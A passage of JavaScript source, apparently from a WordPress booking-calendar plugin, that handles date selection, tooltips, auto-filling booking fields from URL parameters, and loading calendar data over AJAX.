interval_A[ 0 ] = parseInt( interval_A[ 0 ] ); interval_A[ 1 ] = parseInt( interval_A[ 1 ] ); interval_B[ 0 ] = parseInt( interval_B[ 0 ] ); interval_B[ 1 ] = parseInt( interval_B[ 1 ] ); var is_intersected = Math.max( interval_A[ 0 ], interval_B[ 0 ] ) - Math.min( interval_A[ 1 ], interval_B[ 1 ] ); // if ( 0 == is_intersected ) { // // Such ranges going one after other, e.g.: [ 12, 15 ] and [ 15, 21 ] // } if ( is_intersected < 0 ) { return true; // INTERSECTED } return false; // Not intersected } /** * Get the closets ABS value of element in array to the current myValue * * @param myValue - int element to search closet 4 * @param myArray - array of elements where to search [5,8,1,7] * @returns int 5 */ function wpbc_get_abs_closest_value_in_arr( myValue, myArray ){ if ( myArray.length == 0 ){ // If the array is empty -> return the myValue return myValue; } var obj = myArray[ 0 ]; var diff = Math.abs( myValue - obj ); // Get distance between 1st element var closetValue = myArray[ 0 ]; // Save 1st element for ( var i = 1; i < myArray.length; i++ ){ obj = myArray[ i ]; if ( Math.abs( myValue - obj ) < diff ){ // we found closer value -> save it diff = Math.abs( myValue - obj ); closetValue = obj; } } return closetValue; } // --------------------------------------------------------------------------------------------------------------------- /* == T O O L T I P S == // --------------------------------------------------------------------------------------------------------------------- */ /** * Define tooltip to show, when mouse over Date in Calendar * * @param tooltip_text - Text to show 'Booked time: 12:00 - 13:00<br>Cost: $20.00' * @param resource_id - ID of booking resource '1' * @param td_class - SQL class '1-9-2023' * @returns {boolean} - defined to show or not */ function wpbc_set_tooltip___for__calendar_date( tooltip_text, resource_id, td_class ){ //TODO: make escaping of text for quot symbols, and JS/HTML... jQuery( '#calendar_booking' + resource_id + ' td.cal4date-' + td_class ).attr( 'data-content', tooltip_text ); var td_el = jQuery( '#calendar_booking' + resource_id + ' td.cal4date-' + td_class ).get( 0 ); //FixIn: 9.0.1.1 if ( ( 'undefined' !== typeof(td_el) ) && ( undefined == td_el._tippy ) && ( '' !== tooltip_text ) ){ wpbc_tippy( td_el , { content( reference ){ var popover_content = reference.getAttribute( 'data-content' ); return '<div class="popover popover_tippy">' + '<div class="popover-content">' + popover_content + '</div>' + '</div>'; }, allowHTML : true, trigger : 'mouseenter focus', interactive : false, hideOnClick : true, interactiveBorder: 10, maxWidth : 550, theme : 'wpbc-tippy-times', placement : 'top', delay : [400, 0], //FixIn: 9.4.2.2 //delay : [0, 9999999999], // Debuge tooltip ignoreAttributes : true, touch : true, //['hold', 500], // 500ms delay //FixIn: 9.2.1.5 appendTo: () => document.body, }); return true; } return false; } // --------------------------------------------------------------------------------------------------------------------- /* == Dates Functions == // --------------------------------------------------------------------------------------------------------------------- */ /** * Get number of dates between 2 JS Dates * * @param date1 JS Date * @param date2 JS Date * @returns {number} */ function wpbc_dates__days_between(date1, date2) { // The number of milliseconds in one day var ONE_DAY = 1000 * 60 * 60 * 24; // Convert both dates to milliseconds var date1_ms = date1.getTime(); var date2_ms = date2.getTime(); // Calculate the difference in milliseconds var difference_ms = date1_ms - date2_ms; // Convert back to days and return return Math.round(difference_ms/ONE_DAY); } /** * Check if this array of dates is consecutive array of dates or not. * e.g. ['2024-05-09','2024-05-19','2024-05-30'] -> false * e.g. ['2024-05-09','2024-05-10','2024-05-11'] -> true * @param sql_dates_arr array e.g.: ['2024-05-09','2024-05-19','2024-05-30'] * @returns {boolean} */ function wpbc_dates__is_consecutive_dates_arr_range( sql_dates_arr ){ //FixIn: 10.0.0.50 if ( sql_dates_arr.length > 1 ){ var previos_date = wpbc__get__js_date( sql_dates_arr[ 0 ] ); var current_date; for ( var i = 1; i < sql_dates_arr.length; i++ ){ current_date = wpbc__get__js_date( sql_dates_arr[i] ); if ( wpbc_dates__days_between( current_date, previos_date ) != 1 ){ return false; } previos_date = current_date; } } return true; } // --------------------------------------------------------------------------------------------------------------------- /* == Auto Dates Selection == // --------------------------------------------------------------------------------------------------------------------- */ /** * == How to use ? == * * For Dates selection, we need to use this logic! We need select the dates only after booking data loaded! * * Check example bellow. * * // Fire on all booking dates loaded * jQuery( 'body' ).on( 'wpbc_calendar_ajx__loaded_data', function ( event, loaded_resource_id ){ * * if ( loaded_resource_id == select_dates_in_calendar_id ){ * wpbc_auto_select_dates_in_calendar( select_dates_in_calendar_id, '2024-05-15', '2024-05-25' ); * } * } ); * */ /** * Try to Auto select dates in specific calendar by simulated clicks in datepicker * * @param resource_id 1 * @param check_in_ymd '2024-05-09' OR ['2024-05-09','2024-05-19','2024-05-20'] * @param check_out_ymd '2024-05-15' Optional * * @returns {number} number of selected dates * * Example 1: var num_selected_days = wpbc_auto_select_dates_in_calendar( 1, '2024-05-15', '2024-05-25' ); * Example 2: var num_selected_days = wpbc_auto_select_dates_in_calendar( 1, ['2024-05-09','2024-05-19','2024-05-20'] ); */ function wpbc_auto_select_dates_in_calendar( resource_id, check_in_ymd, check_out_ymd = '' ){ //FixIn: 10.0.0.47 console.log( 'WPBC_AUTO_SELECT_DATES_IN_CALENDAR( RESOURCE_ID, CHECK_IN_YMD, CHECK_OUT_YMD )', resource_id, check_in_ymd, check_out_ymd ); if ( ( '2100-01-01' == check_in_ymd ) || ( '2100-01-01' == check_out_ymd ) || ( ( '' == check_in_ymd ) && ( '' == check_out_ymd ) ) ){ return 0; } // ----------------------------------------------------------------------------------------------------------------- // If check_in_ymd = [ '2024-05-09','2024-05-19','2024-05-30' ] ARRAY of DATES //FixIn: 10.0.0.50 // ----------------------------------------------------------------------------------------------------------------- var dates_to_select_arr = []; if ( Array.isArray( check_in_ymd ) ){ dates_to_select_arr = wpbc_clone_obj( check_in_ymd ); // ------------------------------------------------------------------------------------------------------------- // Exceptions to set MULTIPLE DAYS mode // ------------------------------------------------------------------------------------------------------------- // if dates as NOT CONSECUTIVE: ['2024-05-09','2024-05-19','2024-05-30'], -> set MULTIPLE DAYS mode if ( ( dates_to_select_arr.length > 0 ) && ( '' == check_out_ymd ) && ( ! wpbc_dates__is_consecutive_dates_arr_range( dates_to_select_arr ) ) ){ wpbc_cal_days_select__multiple( resource_id ); } // if multiple days to select, but enabled SINGLE day mode, -> set MULTIPLE DAYS mode if ( ( dates_to_select_arr.length > 1 ) && ( '' == check_out_ymd ) && ( 'single' === _wpbc.calendar__get_param_value( resource_id, 'days_select_mode' ) ) ){ wpbc_cal_days_select__multiple( resource_id ); } // ------------------------------------------------------------------------------------------------------------- check_in_ymd = dates_to_select_arr[ 0 ]; if ( '' == check_out_ymd ){ check_out_ymd = dates_to_select_arr[ (dates_to_select_arr.length-1) ]; } } // ----------------------------------------------------------------------------------------------------------------- if ( '' == check_in_ymd ){ check_in_ymd = check_out_ymd; } if ( '' == check_out_ymd ){ check_out_ymd = check_in_ymd; } if ( 'undefined' === typeof (resource_id) ){ resource_id = '1'; } var inst = wpbc_calendar__get_inst( resource_id ); if ( null !== inst ){ // Unselect all dates and set properties of Datepick jQuery( '#date_booking' + resource_id ).val( '' ); //FixIn: 5.4.3 inst.stayOpen = false; inst.dates = []; var check_in_js = wpbc__get__js_date( check_in_ymd ); var td_cell = wpbc_get_clicked_td( inst.id, check_in_js ); // --------------------------------------------------------------------------------------------------------- // == DYNAMIC == if ( 'dynamic' === _wpbc.calendar__get_param_value( resource_id, 'days_select_mode' ) ){ // 1-st click inst.stayOpen = false; jQuery.datepick._selectDay( td_cell, '#' + inst.id, check_in_js.getTime() ); if ( 0 === inst.dates.length ){ return 0; // First click was unsuccessful, so we must not make other click } // 2-nd click var check_out_js = wpbc__get__js_date( check_out_ymd ); var td_cell_out = wpbc_get_clicked_td( inst.id, check_out_js ); inst.stayOpen = true; jQuery.datepick._selectDay( td_cell_out, '#' + inst.id, check_out_js.getTime() ); } // --------------------------------------------------------------------------------------------------------- // == FIXED == if ( 'fixed' === _wpbc.calendar__get_param_value( resource_id, 'days_select_mode' )) { jQuery.datepick._selectDay( td_cell, '#' + inst.id, check_in_js.getTime() ); } // --------------------------------------------------------------------------------------------------------- // == SINGLE == if ( 'single' === _wpbc.calendar__get_param_value( resource_id, 'days_select_mode' ) ){ //jQuery.datepick._restrictMinMax( inst, jQuery.datepick._determineDate( inst, check_in_js, null ) ); // Do we need to run this ? Please note, check_in_js must have time, min, sec defined to 0! jQuery.datepick._selectDay( td_cell, '#' + inst.id, check_in_js.getTime() ); } // --------------------------------------------------------------------------------------------------------- // == MULTIPLE == if ( 'multiple' === _wpbc.calendar__get_param_value( resource_id, 'days_select_mode' ) ){ var dates_arr; if ( dates_to_select_arr.length > 0 ){ // Situation, when we have dates array: ['2024-05-09','2024-05-19','2024-05-30']. and not the Check In / Check out dates as parameter in this function dates_arr = wpbc_get_selection_dates_js_str_arr__from_arr( dates_to_select_arr ); } else { dates_arr = wpbc_get_selection_dates_js_str_arr__from_check_in_out( check_in_ymd, check_out_ymd, inst ); } if ( 0 === dates_arr.dates_js.length ){ return 0; } // For Calendar Days selection for ( var j = 0; j < dates_arr.dates_js.length; j++ ){ // Loop array of dates var str_date = wpbc__get__sql_class_date( dates_arr.dates_js[ j ] ); // Date unavailable ! if ( 0 == _wpbc.bookings_in_calendar__get_for_date( resource_id, str_date ).day_availability ){ return 0; } if ( dates_arr.dates_js[ j ] != -1 ) { inst.dates.push( dates_arr.dates_js[ j ] ); } } var check_out_date = dates_arr.dates_js[ (dates_arr.dates_js.length - 1) ]; inst.dates.push( check_out_date ); // Need add one additional SAME date for correct works of dates selection !!!!! var checkout_timestamp = check_out_date.getTime(); var td_cell = wpbc_get_clicked_td( inst.id, check_out_date ); jQuery.datepick._selectDay( td_cell, '#' + inst.id, checkout_timestamp ); } if ( 0 !== inst.dates.length ){ // Scroll to specific month, if we set dates in some future months wpbc_calendar__scroll_to( resource_id, inst.dates[ 0 ].getFullYear(), inst.dates[ 0 ].getMonth()+1 ); } return inst.dates.length; } return 0; } /** * Get HTML td element (where was click in calendar day cell) * * @param calendar_html_id 'calendar_booking1' * @param date_js JS Date * @returns {*|jQuery} Dom HTML td element */ function wpbc_get_clicked_td( calendar_html_id, date_js ){ var td_cell = jQuery( '#' + calendar_html_id + ' .sql_date_' + wpbc__get__sql_class_date( date_js ) ).get( 0 ); return td_cell; } /** * Get arrays of JS and SQL dates as dates array * * @param check_in_ymd '2024-05-15' * @param check_out_ymd '2024-05-25' * @param inst Datepick Inst. Use wpbc_calendar__get_inst( resource_id ); * @returns {{dates_js: *[], dates_str: *[]}} */ function wpbc_get_selection_dates_js_str_arr__from_check_in_out( check_in_ymd, check_out_ymd , inst ){ var original_array = []; var date; var bk_distinct_dates = []; var check_in_date = check_in_ymd.split( '-' ); var check_out_date = check_out_ymd.split( '-' ); date = new Date(); date.setFullYear( check_in_date[ 0 ], (check_in_date[ 1 ] - 1), check_in_date[ 2 ] ); // year, month, date var original_check_in_date = date; original_array.push( jQuery.datepick._restrictMinMax( inst, jQuery.datepick._determineDate( inst, date, null ) ) ); //add date if ( ! wpbc_in_array( bk_distinct_dates, (check_in_date[ 2 ] + '.' + check_in_date[ 1 ] + '.' + check_in_date[ 0 ]) ) ){ bk_distinct_dates.push( parseInt(check_in_date[ 2 ]) + '.' + parseInt(check_in_date[ 1 ]) + '.' + check_in_date[ 0 ] ); } var date_out = new Date(); date_out.setFullYear( check_out_date[ 0 ], (check_out_date[ 1 ] - 1), check_out_date[ 2 ] ); // year, month, date var original_check_out_date = date_out; var mewDate = new Date( original_check_in_date.getFullYear(), original_check_in_date.getMonth(), original_check_in_date.getDate() ); mewDate.setDate( original_check_in_date.getDate() + 1 ); while ( (original_check_out_date > date) && (original_check_in_date != original_check_out_date) ){ date = new Date( mewDate.getFullYear(), mewDate.getMonth(), mewDate.getDate() ); original_array.push( jQuery.datepick._restrictMinMax( inst, jQuery.datepick._determineDate( inst, date, null ) ) ); //add date if ( !wpbc_in_array( bk_distinct_dates, (date.getDate() + '.' + parseInt( date.getMonth() + 1 ) + '.' + date.getFullYear()) ) ){ bk_distinct_dates.push( (parseInt(date.getDate()) + '.' + parseInt( date.getMonth() + 1 ) + '.' + date.getFullYear()) ); } mewDate = new Date( date.getFullYear(), date.getMonth(), date.getDate() ); mewDate.setDate( mewDate.getDate() + 1 ); } original_array.pop(); bk_distinct_dates.pop(); return {'dates_js': original_array, 'dates_str': bk_distinct_dates}; } /** * Get arrays of JS and SQL dates as dates array * * @param dates_to_select_arr = ['2024-05-09','2024-05-19','2024-05-30'] * * @returns {{dates_js: *[], dates_str: *[]}} */ function wpbc_get_selection_dates_js_str_arr__from_arr( dates_to_select_arr ){ //FixIn: 10.0.0.50 var original_array = []; var bk_distinct_dates = []; var one_date_str; for ( var d = 0; d < dates_to_select_arr.length; d++ ){ original_array.push( wpbc__get__js_date( dates_to_select_arr[ d ] ) ); one_date_str = dates_to_select_arr[ d ].split('-') if ( ! wpbc_in_array( bk_distinct_dates, (one_date_str[ 2 ] + '.' + one_date_str[ 1 ] + '.' + one_date_str[ 0 ]) ) ){ bk_distinct_dates.push( parseInt(one_date_str[ 2 ]) + '.' + parseInt(one_date_str[ 1 ]) + '.' + one_date_str[ 0 ] ); } } return {'dates_js': original_array, 'dates_str': original_array}; } // ===================================================================================================================== /* == Auto Fill Fields / Auto Select Dates == // ===================================================================================================================== */ jQuery( document ).ready( function (){ var url_params = new URLSearchParams( window.location.search ); // Disable days selection in calendar, after redirection from the "Search results page, after search availability" //FixIn: 8.8.2.3 if ( 'On' != _wpbc.get_other_param( 'is_enabled_booking_search_results_days_select' ) ) { if ( ( url_params.has( 'wpbc_select_check_in' ) ) && ( url_params.has( 'wpbc_select_check_out' ) ) && ( url_params.has( 'wpbc_select_calendar_id' ) ) ){ var select_dates_in_calendar_id = parseInt( url_params.get( 'wpbc_select_calendar_id' ) ); // Fire on all booking dates loaded jQuery( 'body' ).on( 'wpbc_calendar_ajx__loaded_data', function ( event, loaded_resource_id ){ if ( loaded_resource_id == select_dates_in_calendar_id ){ wpbc_auto_select_dates_in_calendar( select_dates_in_calendar_id, url_params.get( 'wpbc_select_check_in' ), url_params.get( 'wpbc_select_check_out' ) ); } } ); } } if ( url_params.has( 'wpbc_auto_fill' ) ){ var wpbc_auto_fill_value = url_params.get( 'wpbc_auto_fill' ); // Convert back. Some systems do not like symbol '~' in URL, so we need to replace to some other symbols wpbc_auto_fill_value = wpbc_auto_fill_value.replaceAll( '_^_', '~' ); wpbc_auto_fill_booking_fields( wpbc_auto_fill_value ); } } ); /** * Autofill / select booking form fields by values from the GET request parameter: ?wpbc_auto_fill= * * @param auto_fill_str */ function wpbc_auto_fill_booking_fields( auto_fill_str ){ //FixIn: 10.0.0.48 if ( '' == auto_fill_str ){ return; } // console.log( 'WPBC_AUTO_FILL_BOOKING_FIELDS( AUTO_FILL_STR )', auto_fill_str); var fields_arr = wpbc_auto_fill_booking_fields__parse( auto_fill_str ); for ( let i = 0; i < fields_arr.length; i++ ){ jQuery( '[name="' + fields_arr[ i ][ 'name' ] + '"]' ).val( fields_arr[ i ][ 'value' ] ); } } /** * Parse data from get parameter: ?wpbc_auto_fill=visitors231^2~max_capacity231^2 * * @param data_str = 'visitors231^2~max_capacity231^2'; * @returns {*} */ function wpbc_auto_fill_booking_fields__parse( data_str ){ var filter_options_arr = []; var data_arr = data_str.split( '~' ); for ( var j = 0; j < data_arr.length; j++ ){ var my_form_field = data_arr[ j ].split( '^' ); var filter_name = ('undefined' !== typeof (my_form_field[ 0 ])) ? my_form_field[ 0 ] : ''; var filter_value = ('undefined' !== typeof (my_form_field[ 1 ])) ? my_form_field[ 1 ] : ''; filter_options_arr.push( { 'name' : filter_name, 'value' : filter_value } ); } return filter_options_arr; } /** * Parse data from get parameter: ?search_get__custom_params=... * * @param data_str = 'text^search_field__display_check_in^23.05.2024~text^search_field__display_check_out^26.05.2024~selectbox-one^search_quantity^2~selectbox-one^location^Spain~selectbox-one^max_capacity^2~selectbox-one^amenity^parking~checkbox^search_field__extend_search_days^5~submit^^Search~hidden^search_get__check_in_ymd^2024-05-23~hidden^search_get__check_out_ymd^2024-05-26~hidden^search_get__time^~hidden^search_get__quantity^2~hidden^search_get__extend^5~hidden^search_get__users_id^~hidden^search_get__custom_params^~'; * @returns {*} */ function wpbc_auto_fill_search_fields__parse( data_str ){ var filter_options_arr = []; var data_arr = data_str.split( '~' ); for ( var j = 0; j < data_arr.length; j++ ){ var my_form_field = data_arr[ j ].split( '^' ); var filter_type = ('undefined' !== typeof (my_form_field[ 0 ])) ? my_form_field[ 0 ] : ''; var filter_name = ('undefined' !== typeof (my_form_field[ 1 ])) ? my_form_field[ 1 ] : ''; var filter_value = ('undefined' !== typeof (my_form_field[ 2 ])) ? my_form_field[ 2 ] : ''; filter_options_arr.push( { 'type' : filter_type, 'name' : filter_name, 'value' : filter_value } ); } return filter_options_arr; } // --------------------------------------------------------------------------------------------------------------------- /* == Auto Update number of months in calendars ON screen size changed == // --------------------------------------------------------------------------------------------------------------------- */ /** * Auto Update Number of Months in Calendar, e.g.: if ( WINDOW_WIDTH <= 782px ) >>> MONTHS_NUMBER = 1 * ELSE: number of months defined in shortcode. * @param resource_id int * */ function wpbc_calendar__auto_update_months_number__on_resize( resource_id ){ var local__number_of_months = parseInt( _wpbc.calendar__get_param_value( resource_id, 'calendar_number_of_months' ) ); if ( local__number_of_months > 1 ){ if ( jQuery( window ).width() <= 782 ){ wpbc_calendar__update_months_number( resource_id, 1 ); } else { wpbc_calendar__update_months_number( resource_id, local__number_of_months ); } } } /** * Auto Update Number of Months in ALL Calendars * */ function wpbc_calendars__auto_update_months_number(){ var all_calendars_arr = _wpbc.calendars_all__get(); // This LOOP "for in" is GOOD, because we check here keys 'calendar_' === calendar_id.slice( 0, 9 ) for ( var calendar_id in all_calendars_arr ){ if ( 'calendar_' === calendar_id.slice( 0, 9 ) ){ var resource_id = parseInt( calendar_id.slice( 9 ) ); // 'calendar_3' -> 3 if ( resource_id > 0 ){ wpbc_calendar__auto_update_months_number__on_resize( resource_id ); } } } } /** * If browser window changed, then update number of months. */ jQuery( window ).on( 'resize', function (){ wpbc_calendars__auto_update_months_number(); } ); /** * Auto update calendar number of months on initial page load */ jQuery( document ).ready( function (){ var closed_timer = setTimeout( function (){ wpbc_calendars__auto_update_months_number(); }, 100 ); }); /** * ==================================================================================================================== * includes/__js/cal/days_select_custom.js * ==================================================================================================================== */ //FixIn: 9.8.9.2 /** * Re-Init Calendar and Re-Render it. * * @param resource_id */ function wpbc_cal__re_init( resource_id ){ // Remove CLASS for ability to re-render and reinit calendar. jQuery( '#calendar_booking' + resource_id ).removeClass( 'hasDatepick' ); wpbc_calendar_show( resource_id ); } /** * Re-Init previously saved days selection variables. * * @param resource_id */ function wpbc_cal_days_select__re_init( resource_id ){ _wpbc.calendar__set_param_value( resource_id, 'saved_variable___days_select_initial' , { 'dynamic__days_min' : _wpbc.calendar__get_param_value( resource_id, 'dynamic__days_min' ), 'dynamic__days_max' : _wpbc.calendar__get_param_value( resource_id, 'dynamic__days_max' ), 'dynamic__days_specific' : _wpbc.calendar__get_param_value( resource_id, 'dynamic__days_specific' ), 'dynamic__week_days__start': _wpbc.calendar__get_param_value( resource_id, 'dynamic__week_days__start' ), 'fixed__days_num' : _wpbc.calendar__get_param_value( resource_id, 'fixed__days_num' ), 'fixed__week_days__start' : _wpbc.calendar__get_param_value( resource_id, 'fixed__week_days__start' ) } ); } // --------------------------------------------------------------------------------------------------------------------- /** * Set Single Day selection - after page load * * @param resource_id ID of booking resource */ function wpbc_cal_ready_days_select__single( resource_id ){ // Re-define selection, only after page loaded with all init vars jQuery(document).ready(function(){ // Wait 1 second, just to be sure, that all init vars defined setTimeout(function(){ wpbc_cal_days_select__single( resource_id ); }, 1000); }); } /** * Set Single Day selection * Can be run at any time, when calendar defined - useful for console run. * * @param resource_id ID of booking resource */ function wpbc_cal_days_select__single( resource_id ){ _wpbc.calendar__set_parameters( resource_id, {'days_select_mode': 'single'} ); wpbc_cal_days_select__re_init( resource_id ); wpbc_cal__re_init( resource_id ); } // --------------------------------------------------------------------------------------------------------------------- /** * Set Multiple Days selection - after page load * * @param resource_id ID of booking resource */ function wpbc_cal_ready_days_select__multiple( resource_id ){ // Re-define selection, only after page loaded with all init vars jQuery(document).ready(function(){ // Wait 1 second, just to be sure, that all init vars defined setTimeout(function(){ wpbc_cal_days_select__multiple( resource_id ); }, 1000); }); } /** * Set Multiple Days selection * Can be run at any time, when calendar defined - useful for console run. * * @param resource_id ID of booking resource */ function wpbc_cal_days_select__multiple( resource_id ){ _wpbc.calendar__set_parameters( resource_id, {'days_select_mode': 'multiple'} ); wpbc_cal_days_select__re_init( resource_id ); wpbc_cal__re_init( resource_id ); } // --------------------------------------------------------------------------------------------------------------------- /** * Set Fixed Days selection with 1 mouse click - after page load * * @integer resource_id - 1 -- ID of booking resource (calendar) - * @integer days_number - 3 -- number of days to select - * @array week_days__start - [-1] | [ 1, 5] -- { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } */ function wpbc_cal_ready_days_select__fixed( resource_id, days_number, week_days__start = [-1] ){ // Re-define selection, only after page loaded with all init vars jQuery(document).ready(function(){ // Wait 1 second, just to be sure, that all init vars defined setTimeout(function(){ wpbc_cal_days_select__fixed( resource_id, days_number, week_days__start ); }, 1000); }); } /** * Set Fixed Days selection with 1 mouse click * Can be run at any time, when calendar defined - useful for console run. * * @integer resource_id - 1 -- ID of booking resource (calendar) - * @integer days_number - 3 -- number of days to select - * @array week_days__start - [-1] | [ 1, 5] -- { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } */ function wpbc_cal_days_select__fixed( resource_id, days_number, week_days__start = [-1] ){ _wpbc.calendar__set_parameters( resource_id, {'days_select_mode': 'fixed'} ); _wpbc.calendar__set_parameters( resource_id, {'fixed__days_num': parseInt( days_number )} ); // Number of days selection with 1 mouse click _wpbc.calendar__set_parameters( resource_id, {'fixed__week_days__start': week_days__start} ); // { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } wpbc_cal_days_select__re_init( resource_id ); wpbc_cal__re_init( resource_id ); } // --------------------------------------------------------------------------------------------------------------------- /** * Set Range Days selection with 2 mouse clicks - after page load * * @integer resource_id - 1 -- ID of booking resource (calendar) * @integer days_min - 7 -- Min number of days to select * @integer days_max - 30 -- Max number of days to select * @array days_specific - [] | [7,14,21,28] -- Restriction for Specific number of days selection * @array week_days__start - [-1] | [ 1, 5] -- { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } */ function wpbc_cal_ready_days_select__range( resource_id, days_min, days_max, days_specific = [], week_days__start = [-1] ){ // Re-define selection, only after page loaded with all init vars jQuery(document).ready(function(){ // Wait 1 second, just to be sure, that all init vars defined setTimeout(function(){ wpbc_cal_days_select__range( resource_id, days_min, days_max, days_specific, week_days__start ); }, 1000); }); } /** * Set Range Days selection with 2 mouse clicks * Can be run at any time, when calendar defined - useful for console run. * * @integer resource_id - 1 -- ID of booking resource (calendar) * @integer days_min - 7 -- Min number of days to select * @integer days_max - 30 -- Max number of days to select * @array days_specific - [] | [7,14,21,28] -- Restriction for Specific number of days selection * @array week_days__start - [-1] | [ 1, 5] -- { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } */ function wpbc_cal_days_select__range( resource_id, days_min, days_max, days_specific = [], week_days__start = [-1] ){ _wpbc.calendar__set_parameters( resource_id, {'days_select_mode': 'dynamic'} ); _wpbc.calendar__set_param_value( resource_id, 'dynamic__days_min' , parseInt( days_min ) ); // Min. Number of days selection with 2 mouse clicks _wpbc.calendar__set_param_value( resource_id, 'dynamic__days_max' , parseInt( days_max ) ); // Max. Number of days selection with 2 mouse clicks _wpbc.calendar__set_param_value( resource_id, 'dynamic__days_specific' , days_specific ); // Example [5,7] _wpbc.calendar__set_param_value( resource_id, 'dynamic__week_days__start' , week_days__start ); // { -1 - Any | 0 - Su, 1 - Mo, 2 - Tu, 3 - We, 4 - Th, 5 - Fr, 6 - Sat } wpbc_cal_days_select__re_init( resource_id ); wpbc_cal__re_init( resource_id ); } /** * ==================================================================================================================== * includes/__js/cal_ajx_load/wpbc_cal_ajx.js * ==================================================================================================================== */ // --------------------------------------------------------------------------------------------------------------------- // A j a x L o a d C a l e n d a r D a t a // --------------------------------------------------------------------------------------------------------------------- function wpbc_calendar__load_data__ajx( params ){ //FixIn: 9.8.6.2 wpbc_calendar__loading__start( params['resource_id'] ); if ( wpbc_balancer__is_wait( params , 'wpbc_calendar__load_data__ajx' ) ){ return false; } //FixIn: 9.8.6.2 wpbc_calendar__blur__stop( params['resource_id'] ); // console.groupEnd(); console.time('resource_id_' + params['resource_id']); console.groupCollapsed( 'WPBC_AJX_CALENDAR_LOAD' ); console.log( ' == Before Ajax Send - calendars_all__get() == ' , _wpbc.calendars_all__get() ); // Start Ajax jQuery.post( wpbc_url_ajax, { action : 'WPBC_AJX_CALENDAR_LOAD', wpbc_ajx_user_id: _wpbc.get_secure_param( 'user_id' ), nonce : _wpbc.get_secure_param( 'nonce' ), wpbc_ajx_locale : _wpbc.get_secure_param( 'locale' ), calendar_request_params : params // Usually like: { 'resource_id': 1, 'max_days_count': 365 } }, /** * S u c c e s s * * @param response_data - its object returned from Ajax - class-live-search.php * @param textStatus - 'success' * @param jqXHR - Object */ function ( response_data, textStatus, jqXHR ) { // console.timeEnd('resource_id_' + response_data['resource_id']); console.log( ' == Response WPBC_AJX_CALENDAR_LOAD == ', response_data ); console.groupEnd(); //FixIn: 9.8.6.2 var ajx_post_data__resource_id = wpbc_get_resource_id__from_ajx_post_data_url( this.data ); wpbc_balancer__completed( ajx_post_data__resource_id , 'wpbc_calendar__load_data__ajx' ); // Probably Error if ( (typeof response_data !== 'object') || (response_data === null) ){ var jq_node = wpbc_get_calendar__jq_node__for_messages( this.data ); var message_type = 'info'; if ( '' === response_data ){ response_data = 'The server responds with an empty string. The server probably stopped working unexpectedly. <br>Please check your <strong>error.log</strong> in your server configuration for relative errors.'; message_type = 'warning'; } // Show Message wpbc_front_end__show_message( response_data , { 'type' : message_type, 'show_here': {'jq_node': jq_node, 'where': 'after'}, 'is_append': true, 'style' : 'text-align:left;', 'delay' : 0 } ); return; } // Show Calendar wpbc_calendar__loading__stop( response_data[ 'resource_id' ] ); // ------------------------------------------------------------------------------------------------- // Bookings - Dates _wpbc.bookings_in_calendar__set_dates( response_data[ 'resource_id' ], response_data[ 'ajx_data' ]['dates'] ); // Bookings - Child or only single booking resource in dates _wpbc.booking__set_param_value( response_data[ 'resource_id' ], 'resources_id_arr__in_dates', response_data[ 'ajx_data' ][ 'resources_id_arr__in_dates' ] ); // Aggregate booking resources, if any ? _wpbc.booking__set_param_value( response_data[ 'resource_id' ], 'aggregate_resource_id_arr', response_data[ 'ajx_data' ][ 'aggregate_resource_id_arr' ] ); // ------------------------------------------------------------------------------------------------- // Update calendar wpbc_calendar__update_look( response_data[ 'resource_id' ] ); if ( ( 'undefined' !== typeof (response_data[ 'ajx_data' ][ 'ajx_after_action_message' ]) ) && ( '' != response_data[ 'ajx_data' ][ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ) ) ){ var jq_node = wpbc_get_calendar__jq_node__for_messages( this.data ); // Show Message wpbc_front_end__show_message( response_data[ 'ajx_data' ][ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ), { 'type' : ( 'undefined' !== typeof( response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ] ) ) ? response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ] : 'info', 'show_here': {'jq_node': jq_node, 'where': 'after'}, 'is_append': true, 'style' : 'text-align:left;', 'delay' : 10000 } ); } // Trigger event that calendar has been //FixIn: 10.0.0.44 if ( jQuery( '#calendar_booking' + response_data[ 'resource_id' ] ).length > 0 ){ var target_elm = jQuery( 'body' ).trigger( "wpbc_calendar_ajx__loaded_data", [response_data[ 'resource_id' ]] ); //jQuery( 'body' ).on( 'wpbc_calendar_ajx__loaded_data', function( event, resource_id ) { ... } ); } //jQuery( '#ajax_respond' ).html( response_data ); // For ability to show response, add such DIV element to page } ).fail( function ( jqXHR, textStatus, errorThrown ) { if ( window.console && window.console.log ){ console.log( 'Ajax_Error', jqXHR, textStatus, errorThrown ); } var ajx_post_data__resource_id = wpbc_get_resource_id__from_ajx_post_data_url( this.data ); wpbc_balancer__completed( ajx_post_data__resource_id , 'wpbc_calendar__load_data__ajx' ); // Get Content of Error Message var error_message = '<strong>' + 'Error!' + '</strong> ' + errorThrown ; if ( jqXHR.status ){ error_message += ' (<b>' + jqXHR.status + '</b>)'; if (403 == jqXHR.status ){ error_message += '<br> Probably nonce for this page has been expired. Please <a href="javascript:void(0)" onclick="javascript:location.reload();">reload the page</a>.'; error_message += '<br> Otherwise, please check this <a style="font-weight: 600;" href="https://wpbookingcalendar.com/faq/request-do-not-pass-security-check/?after_update=10.1.1">troubleshooting instruction</a>.<br>' } } var message_show_delay = 3000; if ( jqXHR.responseText ){ error_message += ' ' + jqXHR.responseText; message_show_delay = 10; } error_message = error_message.replace( /\n/g, "<br />" ); var jq_node = wpbc_get_calendar__jq_node__for_messages( this.data ); /** * If we make fast clicking on different pages, * then under calendar will show error message with empty text, because ajax was not received. * To not show such warnings we are set delay in 3 seconds. var message_show_delay = 3000; */ var closed_timer = setTimeout( function (){ // Show Message wpbc_front_end__show_message( error_message , { 'type' : 'error', 'show_here': {'jq_node': jq_node, 'where': 'after'}, 'is_append': true, 'style' : 'text-align:left;', 'css_class':'wpbc_fe_message_alt', 'delay' : 0 } ); } , parseInt( message_show_delay ) ); }) // .done( function ( data, 